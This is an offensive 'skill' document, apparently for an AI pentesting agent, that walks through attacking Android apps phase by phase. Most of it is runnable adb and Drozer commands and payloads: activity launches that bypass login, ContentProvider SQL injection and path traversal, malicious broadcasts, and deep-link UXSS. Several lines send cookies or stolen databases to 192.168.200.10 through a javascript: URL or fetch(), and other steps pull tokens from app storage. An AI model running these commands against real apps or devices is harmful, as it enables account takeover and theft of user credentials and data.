---
name: rt-android-intent-exploitation
description: "Android component exploitation — exported Activities, Services, BroadcastReceivers, ContentProviders. ADB intent fuzzing, Drozer deep dive, Content Provider SQL injection and path traversal, intent sniffing, WebView JavaScript bridge exploitation, deep link hijacking, task hijacking. These are unique Android attack surfaces not found in web testing. Docker: rtexit/kali:v3.1."
---

> 🐳 **Docker Environment (Recommended):** `docker exec -it rtexit-kali bash`

# rt-android-intent-exploitation — Android Component & Intent Attacks

## Overview

Android's inter-process communication (IPC) via Intents and exported components is a unique attack surface. Many apps expose Activities, Services, and ContentProviders without authentication — allowing privilege escalation, data theft, and code execution within the app's permission scope.

**When to use:**
- App has exported components in AndroidManifest.xml
- ContentProvider is accessible by other apps
- Deep links / URL schemes are in scope
- WebView with JavaScript bridges is present
- Task hijacking or phishing against a specific app

---

## Phase 1: Component Discovery

```bash
docker exec rtexit-kali bash -c "
# Method 1: jadx + grep
jadx -d /tmp/target_java target.apk 2>/dev/null
grep -r 'exported.*true\|android:exported' /tmp/target_dc/AndroidManifest.xml

# Method 2: apktool + manifest analysis
apktool d target.apk -o /tmp/target_dc
grep -A5 'activity\|service\|receiver\|provider' /tmp/target_dc/AndroidManifest.xml | grep -B2 'exported\|intent-filter'

# Method 3: Drozer (most comprehensive)
# Start Drozer agent on device
adb forward tcp:31415 tcp:31415
drozer console connect
"
```

```
# Drozer — enumerate all components
dz> run app.package.list -f target
dz> run app.package.info -a com.target.app
dz> run app.activity.info -a com.target.app
dz> run app.service.info -a com.target.app
dz> run app.broadcast.info -a com.target.app
dz> run app.provider.info -a com.target.app
dz> run app.provider.finduri -a com.target.app
```

---

## Phase 2: Activity Exploitation

```bash
docker exec rtexit-kali bash -c "
# Launch exported activity directly (bypass login, authentication)
adb shell am start \
  -n com.target.app/.AdminActivity \
  --es username 'admin' \
  --ez is_admin true

# Activity with intent filter — try launching with data
adb shell am start \
  -a com.target.app.action.VIEW_REPORT \
  -d 'content://com.target.app/reports/1' \
  -n com.target.app/.ReportActivity

# Pass unexpected data types to trigger logic errors
adb shell am start \
  -n com.target.app/.PaymentActivity \
  --ei amount -1 \
  --es target_account 'attacker@evil.com'
"
```

```
# Drozer — launch activity
dz> run app.activity.start --component com.target.app com.target.app.AdminActivity
dz> run app.activity.start --component com.target.app com.target.app.AdminActivity --extra string bypass true
```

---

## Phase 3: Content Provider Exploitation

```bash
docker exec rtexit-kali bash -c "
# Query all URIs from ContentProvider
adb shell content query --uri content://com.target.app/users
adb shell content query --uri content://com.target.app/messages

# Try common URI patterns
for table in users messages accounts files credentials tokens; do
  echo -n \"Trying content://com.target.app/\$table: \"
  adb shell content query --uri \"content://com.target.app/\$table\" 2>&1 | head -2
done
"
```

```
# Drozer — Content Provider SQL injection
dz> run app.provider.query content://com.target.app/users --selection "1=1"
dz> run app.provider.query content://com.target.app/users --projection "* FROM users--"
dz> run app.provider.query content://com.target.app/users --selection "1=1 UNION SELECT username,password,null,null FROM users--"

# Content Provider path traversal (file:// URIs)
dz> run app.provider.read content://com.target.app/files/../../../data/data/com.target.app/databases/main.db
dz> run app.provider.download content://com.target.app/files/../../../../data/data/com.target.app/shared_prefs/config.xml /tmp/config.xml
```

---

## Phase 4: BroadcastReceiver Exploitation

```bash
docker exec rtexit-kali bash -c "
# Send broadcast to exported receiver
adb shell am broadcast \
  -a com.target.app.action.UPDATE \
  -n com.target.app/.UpdateReceiver \
  --es update_url 'http://192.168.200.10/malicious.apk'

# Broadcast to trigger SMS or notification
adb shell am broadcast \
  -a android.provider.Telephony.SMS_RECEIVED \
  -n com.target.app/.SmsReceiver \
  --es body 'RESET_PASSWORD admin 1234'

# Steal ordered broadcast result
adb shell am broadcast -a com.target.app.AUTH_TOKEN --ei priority 999
"
```

---

## Phase 5: Deep Link / URL Scheme Hijacking

```bash
docker exec rtexit-kali bash -c "
# Identify deep links from manifest
grep -r 'scheme\|host\|pathPrefix\|data android' /tmp/target_dc/AndroidManifest.xml

# Test deep link handling
adb shell am start \
  -a android.intent.action.VIEW \
  -d 'myapp://reset-password?token=INJECTED&admin=true'

# Try deep link with malicious parameters
adb shell am start \
  -a android.intent.action.VIEW \
  -d 'myapp://webview?url=file:///data/data/com.target.app/databases/'

# UXSS via WebView deep link
adb shell am start \
  -a android.intent.action.VIEW \
  -d 'myapp://webview?url=javascript:document.location=\"http://192.168.200.10/?c=\"+document.cookie'
"
```

---

## Phase 6: WebView JavaScript Bridge Exploitation

```bash
docker exec rtexit-kali bash -c "
# Find @JavascriptInterface annotated methods in source
grep -r 'JavascriptInterface\|addJavascriptInterface' /tmp/target_java -r -l
"
```

```java
// Example vulnerable bridge
@JavascriptInterface
public String readFile(String path) {
    return new String(Files.readAllBytes(Paths.get(path)));
}

// Attack: if WebView loads attacker-controlled URL
// <script>
//   const data = JSBridge.readFile('/data/data/com.target.app/databases/main.db');
//   fetch('http://192.168.200.10/leak?d=' + btoa(data));
// </script>
```

```bash
docker exec rtexit-kali bash -c "
# If WebView loads arbitrary URLs via deep link:
adb shell am start -a android.intent.action.VIEW \
  -d 'myapp://webview?url=http://192.168.200.10/exploit.html'

# exploit.html calls JSBridge methods to exfiltrate data
"
```

---

## Phase 7: Task Hijacking (StrandHogg)

```bash
docker exec rtexit-kali bash -c "
# StrandHogg: malicious app intercepts legitimate app's task
# Vulnerable when: taskAffinity + allowTaskReparenting

# Check if target is vulnerable
grep -A5 'MainActivity\|LauncherActivity' /tmp/target_dc/AndroidManifest.xml | grep -i 'taskAffinity\|allowTask'

# If vulnerable: malicious app with same taskAffinity appears over target app
# User thinks they're in legitimate app but entering creds into malicious one
"
```

---

## Phase 8: ADB Exploitation

```bash
docker exec rtexit-kali bash -c "
# Extract all SQLite databases
adb shell 'su -c ls /data/data/com.target.app/databases/'
adb pull /data/data/com.target.app/databases/ /tmp/dbs/

# Extract SharedPreferences (often has tokens)
adb pull /data/data/com.target.app/shared_prefs/ /tmp/prefs/
cat /tmp/prefs/*.xml | grep -i 'token\|key\|pass\|auth\|secret'

# Check logcat for credential leaks
adb logcat | grep -i 'password\|token\|secret\|key\|auth' | head -50

# Backup exploitation (pre-Android 12)
adb backup -noencrypt -noapk com.target.app
python3 android-backup-extractor.py backup.ab backup.tar
tar -xvf backup.tar
find . -name '*.db' -o -name '*.xml' -o -name '*.json' | xargs grep -i 'token\|pass\|secret'
"
```

---

## Related Skills
- `rt-exploit-android` — full Android methodology
- `rt-frida-advanced` — hook intent handling at runtime
- `rt-mobile-static-deep` — static analysis to find these vulnerabilities
- `rt-exploit-injection` — SQL injection in Content Providers

## References
- https://github.com/WithSecureLabs/drozer
- https://attack.mitre.org/techniques/T1409/ — Access Stored Application Data
- https://owasp.org/www-project-mobile-top-10/ — M1-M10
